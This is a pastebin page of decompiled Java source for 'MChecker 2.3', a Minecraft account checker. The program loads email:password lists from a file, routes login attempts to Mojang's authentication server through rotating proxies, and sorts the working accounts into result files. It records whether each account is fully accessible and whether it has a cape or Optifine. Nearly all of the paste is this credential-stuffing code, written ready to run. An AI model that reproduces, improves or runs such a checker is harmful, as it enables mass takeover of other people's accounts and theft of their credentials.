Advertisement
Guest User

Untitled

a guest
Apr 12th, 2018
2,846
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.00 KB | None | 0 0
  1. /*
  2. * Decompiled with CFR 0_123.
  3. */
  4. package xyz.betanyan.mchecker;
  5.  
  6. import java.awt.Component;
  7. import java.awt.Container;
  8. import java.io.BufferedReader;
  9. import java.io.DataOutputStream;
  10. import java.io.File;
  11. import java.io.FileNotFoundException;
  12. import java.io.IOException;
  13. import java.io.InputStream;
  14. import java.io.InputStreamReader;
  15. import java.io.OutputStream;
  16. import java.io.PrintStream;
  17. import java.io.PrintWriter;
  18. import java.io.Reader;
  19. import java.net.HttpURLConnection;
  20. import java.net.InetSocketAddress;
  21. import java.net.ProtocolException;
  22. import java.net.Proxy;
  23. import java.net.SocketAddress;
  24. import java.net.SocketException;
  25. import java.net.SocketTimeoutException;
  26. import java.net.URL;
  27. import java.net.URLConnection;
  28. import java.nio.file.Files;
  29. import java.nio.file.Path;
  30. import java.util.ArrayList;
  31. import java.util.Base64;
  32. import java.util.Collection;
  33. import java.util.List;
  34. import java.util.concurrent.CopyOnWriteArrayList;
  35. import java.util.concurrent.ExecutorService;
  36. import java.util.concurrent.Executors;
  37. import java.util.concurrent.Future;
  38. import java.util.concurrent.ThreadLocalRandom;
  39. import java.util.concurrent.atomic.AtomicInteger;
  40. import java.util.function.Consumer;
  41. import javax.swing.JFrame;
  42. import javax.swing.JScrollPane;
  43. import javax.swing.JTable;
  44. import javax.swing.RowSorter;
  45. import javax.swing.table.DefaultTableModel;
  46. import javax.swing.table.TableModel;
  47. import javax.swing.table.TableRowSorter;
  48. import org.json.JSONArray;
  49. import org.json.JSONException;
  50. import org.json.JSONObject;
  51.  
  52. public class MChecker {
  53. private JFrame frame;
  54. private DefaultTableModel model;
  55.  
  56. public static void main(String[] args) {
  57. File accounts = new File("accounts.txt");
  58. if (!accounts.exists()) {
  59. try {
  60. accounts.createNewFile();
  61. System.out.println("Accounts.txt was created. Load it with accounts formatted with email:password.");
  62. return;
  63. }
  64. catch (IOException e) {
  65. System.err.println("Error creating accounts.txt file, must do it manually.");
  66. return;
  67. }
  68. }
  69. File proxies = new File("proxies.txt");
  70. if (!proxies.exists()) {
  71. try {
  72. proxies.createNewFile();
  73. }
  74. catch (IOException e) {
  75. System.err.println("Error creating proxies.txt file, must do it manually.");
  76. return;
  77. }
  78. }
  79. ArrayList<Proxy> proxiesList = new ArrayList<Proxy>();
  80. try {
  81. for (String line : Files.readAllLines(proxies.toPath())) {
  82. proxiesList.add(new Proxy(Proxy.Type.HTTP, new InetSocketAddress(line.split(":")[0], Integer.parseInt(line.split(":")[1]))));
  83. }
  84. }
  85. catch (IOException e) {
  86. proxiesList = new ArrayList();
  87. }
  88. FileCreator results = new FileCreator("results.txt");
  89. results.write("EMAIL:PASSWORD | USERNAME | FULL ACCESS | HAS CAPE | HAS OPTIFINE\n");
  90. FileCreator resultsFiltered = new FileCreator("results-filtered.txt");
  91. FileCreator fullAccess = new FileCreator("fullaccess.txt");
  92. FileCreator nonFullAccess = new FileCreator("nonfullaccess.txt");
  93. FileCreator capes = new FileCreator("capes.txt");
  94. FileCreator optifine = new FileCreator("optifine.txt");
  95. new MChecker(accounts, results, resultsFiltered, proxiesList, fullAccess, nonFullAccess, capes, optifine);
  96. }
  97.  
  98. private void updateFrame(AuthResult newResult, int original, int successful, List<String> accounts) {
  99. this.frame.setTitle(String.format("MChecker 2.3 by BetaNyan - %d/%d Scanned. %d Successful.", original - accounts.size(), original, successful));
  100. if (newResult != null) {
  101. this.model.addRow(new Object[]{newResult.username, newResult.email, newResult.password, newResult.fullAccess, newResult.hasCape, newResult.hasOptifine});
  102. }
  103. }
  104.  
  105. public MChecker(File accountsFile, FileCreator results, FileCreator resultsFiltered, List<Proxy> proxies, FileCreator fullAccess, FileCreator nonFullAccess, FileCreator capes, FileCreator optifine) {
  106. CopyOnWriteArrayList accounts = new CopyOnWriteArrayList();
  107. System.out.println("Loading accounts...");
  108. try {
  109. Files.readAllLines(accountsFile.toPath()).forEach(accounts::add);
  110. }
  111. catch (IOException e) {
  112. System.err.println("Error reading accounts.txt");
  113. return;
  114. }
  115. int original = accounts.size();
  116. AtomicInteger successful = new AtomicInteger(0);
  117. ArrayList finalResults = new ArrayList();
  118. this.frame = new JFrame(String.format("MChecker by BetaNyan v2.3 - %d/%d Scanned. %d Successful.", original - accounts.size(), original, successful.get()));
  119. this.frame.setDefaultCloseOperation(3);
  120. this.frame.setSize(640, 480);
  121. Container container = this.frame.getContentPane();
  122. this.model = new DefaultTableModel(new Object[]{"Username", "Email", "Password", "Full Access", "Has Cape", "Has Optifine"}, 0);
  123. JTable table = new JTable(this.model);
  124. table.setVisible(true);
  125. JScrollPane scrollPane = new JScrollPane(table);
  126. table.setFillsViewportHeight(true);
  127. TableRowSorter<TableModel> sorter = new TableRowSorter<TableModel>(table.getModel());
  128. table.setRowSorter(sorter);
  129. container.add(scrollPane);
  130. this.frame.setVisible(true);
  131. ArrayList subLists = new ArrayList();
  132. int size = accounts.size();
  133. if (size >= 10) {
  134. int nextStart = 0;
  135. int inc = size / 5;
  136. for (int i = 0; i < 5; ++i) {
  137. subLists.add(new CopyOnWriteArrayList(accounts.subList(nextStart, nextStart + inc)));
  138. nextStart += inc;
  139. }
  140. if (size % 5 != 0) {
  141. int lastNum = size % 10;
  142. subLists.add(new CopyOnWriteArrayList(accounts.subList(size - lastNum, size)));
  143. }
  144. } else {
  145. subLists.add(accounts);
  146. }
  147. System.out.println("Accounts loaded.");
  148. ExecutorService service = Executors.newFixedThreadPool(6);
  149. for (List accList : subLists) {
  150. service.submit(() -> {
  151. for (String account : accList) {
  152. accounts.remove(account);
  153. accList.remove(account);
  154. String[] split = account.split(":");
  155. String email = split[0];
  156. String password = split[1];
  157. AuthResult result = null;
  158. try {
  159. result = this.auth(email, password);
  160. }
  161. catch (IOException e) {
  162. e.printStackTrace();
  163. }
  164. if (result.authed) {
  165. StringBuilder data = new StringBuilder();
  166. data.append(String.format("%s:%s", email, password)).append(" | ").append(result.username).append(" | ").append(result.fullAccess).append(" | ").append(result.hasCape ? "Has Cape" : "No Cape").append(" | ").append(result.hasOptifine ? "Has Optifine" : "No Optifine");
  167. if (result.fullAccess) {
  168. if (!result.hasCape && !result.hasOptifine) {
  169. fullAccess.write(account);
  170. }
  171. } else if (!result.hasCape && !result.hasOptifine) {
  172. nonFullAccess.write(account);
  173. }
  174. if (result.hasCape) {
  175. capes.write(account);
  176. }
  177. if (result.hasOptifine && !result.hasCape) {
  178. optifine.write(account);
  179. }
  180. results.write(data.toString());
  181. resultsFiltered.write(email + ":" + password);
  182. System.out.println("Successful auth. " + email + ":" + password);
  183. accList.remove(account);
  184. finalResults.add(result);
  185. this.updateFrame(result, original, successful.incrementAndGet(), accounts);
  186. try {
  187. Thread.sleep(100);
  188. }
  189. catch (InterruptedException interruptedException) {}
  190. continue;
  191. }
  192. if (proxies.size() > 0) {
  193. AuthResult resultProxy = null;
  194. Proxy proxy = this.findWorkingProxy(proxies);
  195. if (proxy != null) {
  196. System.out.println("Using proxy - " + proxy);
  197. try {
  198. resultProxy = this.auth(email, password, proxy);
  199. }
  200. catch (IOException e) {
  201. e.printStackTrace();
  202. }
  203. if (resultProxy.authed) {
  204. StringBuilder data = new StringBuilder();
  205. data.append(String.format("%s:%s", email, password)).append(" | ").append(resultProxy.username).append(" | ").append(resultProxy.fullAccess).append(" | ").append(resultProxy.hasCape ? "Has Cape" : "No Cape").append(" | ").append(resultProxy.hasOptifine ? "Has Optifine" : "No Optifine");
  206. if (resultProxy.fullAccess) {
  207. if (!resultProxy.hasCape && !resultProxy.hasOptifine) {
  208. fullAccess.write(account);
  209. }
  210. } else if (!resultProxy.hasCape && !resultProxy.hasOptifine) {
  211. nonFullAccess.write(account);
  212. }
  213. if (resultProxy.hasCape) {
  214. capes.write(account);
  215. }
  216. if (resultProxy.hasOptifine && !resultProxy.hasCape) {
  217. optifine.write(account);
  218. }
  219. results.write(data.toString());
  220. resultsFiltered.write(email + ":" + password);
  221. System.out.println("Successful auth. " + email + ":" + password);
  222. accList.remove(account);
  223. finalResults.add(resultProxy);
  224. this.updateFrame(result, original, successful.incrementAndGet(), accounts);
  225. try {
  226. Thread.sleep(100);
  227. }
  228. catch (InterruptedException x) {}
  229. continue;
  230. }
  231. System.out.println("Un-Successful auth. " + email + ":" + password);
  232. this.updateFrame(null, original, successful.get(), accounts);
  233. continue;
  234. }
  235. System.out.println("No working proxy found.");
  236. this.updateFrame(null, original, successful.get(), accounts);
  237. continue;
  238. }
  239. System.out.println("Un-Successful auth. " + email + ":" + password);
  240. this.updateFrame(null, original, successful.get(), accounts);
  241. }
  242. }
  243. );
  244. }
  245. service.shutdown();
  246. }
  247.  
  248. private Proxy findWorkingProxy(List<Proxy> proxies) {
  249. ArrayList<Integer> used = new ArrayList<Integer>();
  250. while (used.size() < proxies.size()) {
  251. int index = ThreadLocalRandom.current().nextInt(proxies.size());
  252. if (used.contains(index)) continue;
  253. used.add(index);
  254. Proxy proxy = proxies.get(index);
  255. try {
  256. HttpURLConnection connection = (HttpURLConnection)new URL("http://google.com/").openConnection(proxy);
  257. connection.addRequestProperty("User-Agent", "Mozilla/1.0");
  258. connection.setReadTimeout(2500);
  259. connection.setConnectTimeout(2500);
  260. int code = connection.getResponseCode();
  261. connection.disconnect();
  262. if (code > 199 && code < 300) {
  263. return proxy;
  264. }
  265. proxies.remove(proxy);
  266. }
  267. catch (ProtocolException | SocketException | SocketTimeoutException e) {
  268. proxies.remove(proxy);
  269. }
  270. catch (IOException e) {
  271. proxies.remove(proxy);
  272. }
  273. }
  274. return null;
  275. }
  276.  
  277. private AuthResult auth(String email, String password) throws IOException {
  278. return new AuthResult(email, password, null);
  279. }
  280.  
  281. private AuthResult auth(String email, String password, Proxy proxy) throws IOException {
  282. return new AuthResult(email, password, proxy);
  283. }
  284.  
  285. /*
  286. * Enabled aggressive block sorting
  287. * Enabled unnecessary exception pruning
  288. * Enabled aggressive exception aggregation
  289. */
  290. private String readURL(URL url) {
  291. try {
  292. BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream()));
  293. Throwable throwable = null;
  294. try {
  295. String tmp;
  296. StringBuilder builder = new StringBuilder();
  297. while ((tmp = reader.readLine()) != null) {
  298. builder.append(tmp).append("\n");
  299. }
  300. String string = builder.toString();
  301. return string;
  302. }
  303. catch (Throwable builder) {
  304. throwable = builder;
  305. throw builder;
  306. }
  307. finally {
  308. if (reader != null) {
  309. if (throwable != null) {
  310. try {
  311. reader.close();
  312. }
  313. catch (Throwable throwable2) {
  314. throwable.addSuppressed(throwable2);
  315. }
  316. } else {
  317. reader.close();
  318. }
  319. }
  320. }
  321. }
  322. catch (IOException e) {
  323. return "";
  324. }
  325. }
  326.  
  327. private static class FileCreator {
  328. private PrintWriter writer;
  329. private File file;
  330.  
  331. public FileCreator(String filename) {
  332. this.file = new File(filename);
  333. if (!this.file.exists()) {
  334. try {
  335. this.file.createNewFile();
  336. }
  337. catch (IOException e) {
  338. e.printStackTrace();
  339. }
  340. }
  341. try {
  342. this.writer = new PrintWriter(this.file);
  343. }
  344. catch (FileNotFoundException e) {
  345. e.printStackTrace();
  346. }
  347. }
  348.  
  349. public void write(String str) {
  350. if (!this.containsString(str)) {
  351. this.writer.println(str);
  352. this.writer.flush();
  353. }
  354. }
  355.  
  356. public boolean containsString(String str) {
  357. try {
  358. return Files.readAllLines(this.file.toPath()).contains(str);
  359. }
  360. catch (IOException e) {
  361. return false;
  362. }
  363. }
  364. }
  365.  
  366. private class AuthResult {
  367. private boolean authed;
  368. private boolean hasCape;
  369. private boolean hasOptifine;
  370. private boolean fullAccess;
  371. private String username;
  372. private String email;
  373. private String password;
  374.  
  375. public AuthResult(String email, String password, Proxy proxy) throws IOException {
  376. block34 : {
  377. this.email = email;
  378. this.password = password;
  379. try {
  380. URL url = new URL("https://authserver.mojang.com/authenticate");
  381. HttpURLConnection connection = proxy != null ? (HttpURLConnection)url.openConnection(proxy) : (HttpURLConnection)url.openConnection();
  382. connection.setConnectTimeout(5000);
  383. connection.setReadTimeout(5000);
  384. connection.setDoOutput(true);
  385. connection.setDoInput(true);
  386. connection.setRequestProperty("User-Agent", "Mozilla/5.0");
  387. connection.setRequestProperty("Content-Type", "application/json");
  388. connection.setRequestMethod("POST");
  389. DataOutputStream stream = new DataOutputStream(connection.getOutputStream());
  390. stream.writeBytes("{\n \"agent\": { \n \"name\": \"Minecraft\", \n \"version\": 1 \n \n },\n \"username\": \"" + email + "\", \n" + " \n" + " \"password\": \"" + password + "\",\n" + " \"clientToken\": \"client identifier\" \n" + "}");
  391. stream.flush();
  392. stream.close();
  393. if (connection.getResponseCode() == 200) {
  394. BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
  395. Throwable throwable = null;
  396. try {
  397. String line;
  398. StringBuilder finalStr = new StringBuilder();
  399. while ((line = reader.readLine()) != null) {
  400. finalStr.append(line + "\r\n");
  401. }
  402. if (finalStr.toString().contains("Invalid credentials.")) {
  403. this.authed = false;
  404. this.hasCape = false;
  405. this.hasOptifine = false;
  406. this.fullAccess = false;
  407. break block34;
  408. }
  409. if (finalStr.toString().contains("clientToken")) {
  410. String uuid;
  411. this.authed = true;
  412. JSONObject userData = new JSONObject(finalStr.toString()).getJSONObject("selectedProfile");
  413. this.username = userData.getString("name");
  414. uuid = userData.getString("id");
  415. String accessToken = new JSONObject(finalStr.toString()).getString("accessToken");
  416. HttpURLConnection infoConnection = (HttpURLConnection)new URL("https://api.mojang.com/user").openConnection();
  417. infoConnection.setDoOutput(true);
  418. infoConnection.setDoInput(true);
  419. infoConnection.setConnectTimeout(3000);
  420. infoConnection.setReadTimeout(3000);
  421. infoConnection.setRequestProperty("User-Agent", "Mozilla/5.0");
  422. infoConnection.setRequestProperty("Authorization", "Bearer " + accessToken);
  423. if (infoConnection.getResponseCode() == 200) {
  424. BufferedReader reader1 = new BufferedReader(new InputStreamReader(infoConnection.getInputStream()));
  425. Throwable throwable2 = null;
  426. try {
  427. String line1;
  428. JSONObject jsonInfo;
  429. StringBuilder finalStr1 = new StringBuilder();
  430. while ((line1 = reader1.readLine()) != null) {
  431. finalStr1.append(line1 + "\r\n");
  432. }
  433. this.fullAccess = !finalStr1.toString().equals("") ? (finalStr1.toString().contains("error") ? false : !(jsonInfo = new JSONObject(finalStr1.toString())).getBoolean("secured")) : false;
  434. }
  435. catch (Throwable line1) {
  436. throwable2 = line1;
  437. throw line1;
  438. }
  439. finally {
  440. if (reader1 != null) {
  441. if (throwable2 != null) {
  442. try {
  443. reader1.close();
  444. }
  445. catch (Throwable line1) {
  446. throwable2.addSuppressed(line1);
  447. }
  448. } else {
  449. reader1.close();
  450. }
  451. }
  452. }
  453. }
  454. try {
  455. String capeDataUrl = MChecker.this.readURL(new URL("https://sessionserver.mojang.com/session/minecraft/profile/" + uuid));
  456. JSONObject sessionData = new JSONObject(capeDataUrl);
  457. JSONArray textureData = sessionData.getJSONArray("properties");
  458. String data = new JSONObject(textureData.get(0).toString()).getString("value");
  459. this.hasCape = new String(Base64.getDecoder().decode(data)).contains("CAPE");
  460. }
  461. catch (JSONException x) {
  462. this.hasCape = false;
  463. }
  464. String result = MChecker.this.readURL(new URL(String.format("http://s.optifine.net/capes/%s.png", this.username)));
  465. this.hasOptifine = !result.equals("");
  466. break block34;
  467. }
  468. this.authed = false;
  469. this.hasCape = false;
  470. this.hasOptifine = false;
  471. this.fullAccess = false;
  472. break block34;
  473. }
  474. catch (Throwable line) {
  475. throwable = line;
  476. throw line;
  477. }
  478. finally {
  479. if (reader != null) {
  480. if (throwable != null) {
  481. try {
  482. reader.close();
  483. }
  484. catch (Throwable line) {
  485. throwable.addSuppressed(line);
  486. }
  487. } else {
  488. reader.close();
  489. }
  490. }
  491. }
  492. }
  493. this.authed = false;
  494. this.hasCape = false;
  495. this.hasOptifine = false;
  496. this.fullAccess = false;
  497. }
  498. catch (IOException url) {
  499. // empty catch block
  500. }
  501. }
  502. }
  503. }
  504.  
  505. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement